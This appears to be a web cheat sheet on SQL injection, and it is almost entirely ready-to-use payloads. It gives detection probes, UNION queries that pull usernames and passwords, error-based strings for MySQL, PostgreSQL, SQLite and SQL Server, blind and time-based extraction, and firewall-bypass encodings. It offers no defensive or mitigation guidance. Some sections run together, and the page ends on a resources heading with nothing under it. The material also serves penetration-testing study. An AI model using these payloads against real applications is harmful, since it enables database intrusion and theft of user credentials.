A comprehensive guide to SQL injection techniques and bypasses
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed.
The first step in exploiting SQL injection is to detect if a vulnerability exists. Common methods include:
-- Basic tests
parameter'
parameter''
parameter"
parameter""
parameter`
parameter``
-- Logic tests
parameter OR 1=1
parameter AND 1=1
parameter AND 1=2
-- Timing attacks
parameter' AND (SELECT 1 FROM (SELECT SLEEP(10))A) AND '1'='1
parameter' AND SLEEP(10) AND '1'='1UNION attacks are used to extract data from the database by combining the results of the original query with the results of an injected query.
-- Determine the number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- Extract data
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,column_name FROM information_schema.columns--
' UNION SELECT 1,concat(table_name) FROM information_schema.tables--Error-based SQL injection techniques force the database to generate an error that contains the results of your injected query.
-- MySQL
' AND (SELECT 1 FROM (SELECT COUNT(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1
-- PostgreSQL
' AND 1=cast((SELECT version()) as int) AND '1'='1
-- SQLite
' AND 1=CAST((SELECT sqlite_version()) as int) AND '1'='1
-- SQL Server
' AND 1=convert(int,(SELECT @@version)) AND '1'='1Blind SQL injection is used when the application does not return error messages or the results of your query, but the query still executes.
-- Test if 'admin' exists in the users table
' AND (SELECT 'x' FROM users WHERE username='admin')='x'--
-- Extract data character by character
' AND (SELECT substring(username,1,1) FROM users WHERE id=1)='a'--
' AND (SELECT ASCII(substring(username,1,1)) FROM users WHERE id=1)=97--
-- Binary search approach
' AND (SELECT ASCII(substring(username,1,1)) FROM users WHERE id=1)<128--
' AND (SELECT ASCII(substring(username,1,1)) FROM users WHERE id=1)<64---- MySQL
' AND IF(1=1,SLEEP(5),0)--
' AND IF((SELECT 'x' FROM users WHERE username='admin')='x',SLEEP(5),0)--
-- PostgreSQL
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)--
-- SQL Server
' IF (1=1) WAITFOR DELAY '0:0:5'--
' IF (SELECT COUNT(username) FROM users WHERE username='admin')=1 WAITFOR DELAY '0:0:5'--Web Application Firewalls (WAFs) often block common SQL injection patterns. Here are some techniques to bypass them:
-- Case variation
' UnIoN SeLeCt 1,2,3--
-- Comment variations
'/**/UNION/**/SELECT/**/1,2,3--
' UN/**/ION SEL/**/ECT 1,2,3--
-- Encoding
' UNION SELECT CHAR(49),CHAR(50),CHAR(51)--
-- Alternative operators
' || (SELECT 1) || '
' + (SELECT 1) + '
-- Double encoding
%2527 instead of 'Additional resources for learning about SQL injection: